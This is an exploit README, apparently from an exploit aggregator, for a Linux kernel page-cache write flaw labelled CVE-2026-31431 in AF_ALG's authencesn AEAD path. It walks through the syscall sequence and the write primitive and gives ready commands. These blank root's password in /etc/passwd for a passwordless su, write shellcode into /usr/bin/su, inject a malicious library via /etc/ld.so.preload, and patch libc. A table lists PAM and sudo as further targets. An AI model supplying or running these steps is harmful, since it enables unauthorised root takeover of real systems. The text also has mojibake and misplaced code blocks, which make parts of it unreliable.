Share
## https://sploitus.com/exploit?id=E869786A-9338-5F79-B49A-34EB42351CE3
# CVE-2026-31431 β€” Copy Vulnerability

**Linux Kernel Page Cache Write Vulnerability (AF_ALG AEAD Hash Chain Error)**

## Overview

There is a vulnerability in the Linux kernel’s `algif_aead` interface, allowing **non-privileged users** to write arbitrary data to the page cache of any readable fileβ€”completely bypassing file permissions checks, access control lists (MAC), and integrity checks. The content of the file on disk remains unchanged, but all processes that read the file afterward (including SUID programs, linker scripts, `execve()` calls, etc.) will see the modified version of the file until the page cache is reclaimed.

## Impact

| Item | Description |
|---|---|
| Subsystem | `crypto/algif_aead.c` |
| Algorithm | `authencesn(hmac(sha256), cbc(aes))` |
| Kernel Configuration | `CONFIG_CRYPTO_USER_API_AEAD=y/m` (Enabled by default in most distributions) |
| Required Permissions | **None** – Only need read permission for the target file |
| Severity | Local privilege escalation β†’ **Root** |
| Affected Distros | Ubuntu, Debian, Fedora, RHEL, Arch, openSUSE, etc. |

## Vulnerability Details

### Brief Description

When performing AEAD decryption using `AF_ALG`:
1. The user space sends associated authentication data (AAD) via `sendmsg()` + `MSG_MORE`, including a 4-byte `seqno_lo` controlled by the attacker.
2. The target file’s page cache is injected into the TX SGL of the kernel’s encryption subsystem via `splice()`.
3. When the kernel constructs the **target hash table** (dst SGL), the receive buffer is linked to the page cache via `sg_chain`.
4. The `authencesn` algorithm writes `seqno_lo` at offset `assoclen + cryptlen`β€”this location **crosses the receive buffer and directly affects the linked page cache**.
5. This write operation occurs **before the HMAC verification**. If HMAC fails, the kernel returns an `EBADMSG` error, but the page cache has been tampered with.

### Data Flow Diagram

```
sendmsg(AAD)            splice(file-page)
     β”‚
     β–Ό
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”  sg_chainβ”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚RX Buffer│─────────────▢│    Page Cache Pageβ”‚
β”‚8 bytes  β”‚              β”‚  (File Content)β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜β”‚
                                  β–²
                                  β”‚
                      authencesn writes seqno_lo here
                      Offset = assoclen + cryptlen
                      ║═══ That’s where the vulnerability lies║═══
```

### Key Points

- The 4 bytes of `seqno_lo` are completely controlled by the attacker in the AAD message (**what to write**).
- The length of `splice()` determines the offset of the write operation in the page cache (**where to write**).
- Together, these two factors create an **arbitrary 4-byte write primitive** that can be applied to any readable file’s page cache.

## How to Use

### Quick Privilege Escalation

```bash
# Tamper with the /etc/passwd page cache, remove the root password, and automatically execute `su root`
./exploit.py escalate
```

**Execution Process:**

1. Back up the original `/etc/passwd` file to `/tmp/.passwd.bak`.
2. Modify the page cache of `/etc/passwd` to read `root::0:0:root :...`.
3. Automatically execute `su root` (no password required).

**Output Example:**

```
[*] CVE-2026-31431 β€” Copy Vulnerability
[*] Mode: Remove root password from /etc/passwd

[*] Backup: /tmp/.passwd.bak
[*] Before: root:x:0:0:root:/root:/bin/bash
[*] After: root::0:0:root :/root:/bin/bash
[*] Offset: 0

[0x000000]  726f6f74  root
[0x000004]  3a3a303a  ::0:
[0x000008]  303a726f  0:ro
[0x00000c]  6f742020  ot
[0x000010]  3a2f726f  :/ro
[0x000014]  6f743a2f  ot:/
[0x000018]  62696e2f  bin/
[0x00001c]  62617368  bash

[+] Success: Root::0:0:root :/root:/bin/bash

[*] Recovery: echo 3 > /proc/sys/vm/drop_caches
[*] Execution: su root (no password required)
```

### General: Arbitrary Page Cache Writing

```bash
# Basic syntax
./exploit.py write

# Read payload from binary file
./exploit.py write @payload.bin
```

#### Example Usage

```bash
# Write shellcode to the entry point of a SUID program
./exploit.py write /usr/bin/su 0x1040 @shellcode.bin

# Inject a preloaded library path
```

This vulnerability allows for **arbitrary 4-byte writes to any readable file’s page cache**.

./exploit.py write /etc/ld.so.preload 0 '/tmp/evil.so\n'

# Tamper with libc functions (e.g., make getuid() return 0)
./exploit.py write /usr/lib/libc.so.6 0x284a0 '\x31\xc0\xc3\x90'

## Constraints

| Constraint | Description |
|---|---|
| **Read permission** | The target file must be readable for the current user (`O_RDONLY`) |
| **Alignment** | Each write operation consists of 4 bytes; tails less than 4 bytes are filled with `0x90` |
| **File size** | The file size must be β‰₯ `offset + data_length + 4` bytes |
| **Page caching only** | The content of the file on disk **will not** be modified |
| **Durability** | The page cache remains valid until it is reclaimed or manually cleared |
| **Kernel configuration** | Requires `AF_ALG` and `authencesn` (available on mainstream distributions by default) |

## Recovery methods

```bash
# Method 1: Clear all page caches to restore the original disk content
echo 3 > /proc/sys/vm/drop_caches

# Method 2: Restart the system
reboot
```

## Internal technical details

### AF_ALG socket initialization

```
socket(AF_ALG, SOCK_SEQPACKET, 0)
  β†’ bind("aead", "authencesn(hmac(sha256),cbc(aes))")
  β†’ setsockopt(SOL_ALG, ALG_SET_KEY, authenc_key_blob)
  β†’ setsockopt(SOL_ALG, ALG_SET_AEAD_AUSSIZE, 4)
  β†’ accept()  β†’ Requested fd
```

### Key structure (authenc_key_blob)

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚ rta_len (2B)  β”‚ rta_type (2B) β”‚ enckeylen (4B) β”‚
β”‚   0x0008      β”‚   0x0001      β”‚  0x00000010    β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ Authentication key (16 bytes of zeros)                  β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ Encryption key (16 bytes of zeros)                  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

The key values are insignificantβ€”the HMAC will inevitably fail, but the unauthorized write operation has already been completed before verification. ### Single 4-byte write process

```
Step 1: sendmsg(req_fd,
                  AAD = [seqno_hi(4B) | seqno_lo(4B)],    ← seqno_lo = value to be written
                  cmsg = [OP=DECRYPT, IV=zeros, ASSOCLEN=8],
                  flags = MSG_MORE)
Step 2: pipe_r, pipe_w = pipe()
Step 3: splice(target_fd β†’ pipe_w, count = file_offset + 4, offset_src = 0)
Step 4: splice(pipe_r β†’ req_fd, count = file_offset + 4)
Step 5: recv(req_fd, ASSOC_LEN + file_offset)
          β†’ Trigger authencesn decryption
          β†’ seqno_lo is written at the file_offset in the page cache
          β†’ The offset falls at the file_offset in the page cache
          β†’ HMAC fails, returning EBADMSG
          β†’ The page cache has been tampered βœ“
```

### Offset calculation

```
dst SGL layout:
  [0 .. 7]                         β†’ RX buffer (AAD reception area)
  [8 .. 8 + file_offset + 3]      β†’ Page cache (splice injection)
```

seqno_lo writing position:
  dst[assoclen + cryptlen]
  = dst[8 + file_offset]
  = file_offset in the page cache

∴ The attacker controls the file_offset β†’ Controls the writing position
  The attacker controls seqno_lo    β†’ Controls the writing content
```

## File structure

```
. β”œβ”€β”€ exploit.py          # Self-contained vulnerability exploitation script (only requires Python 3 + Linux)
└── README.md           # This file
```

## List of attack scenarios

| Attack path | Target file | Effect |
|---|---|---|
| Remove root password | `/etc/passwd` | `su root` requires no password |
| Inject preloading library | `/etc/ld.so.preload` | All programs load the malicious `.so` |
| Tamper with SUID programs | `/usr/bin/su` etc. | Execute shellcode to obtain root shell |
| Tamper with libc | `/usr/lib/libc.so.6` | Hijack functions like getuid() to return 0 |
| Tamper with PAM module | `/usr/lib/security/pam_unix.so` | Bypass all authentication |
| Tamper with sudo | `/usr/bin/sudo` | Any user can directly obtain root access |
```

## Disclaimer

This tool is used solely for authorized security research and penetration testing purposes. Using this tool to attack others’ systems is illegal. Users must bear all legal responsibilities.

[source-iocs-preserved const=ALG_SET_AEAD_AUTHSIZE]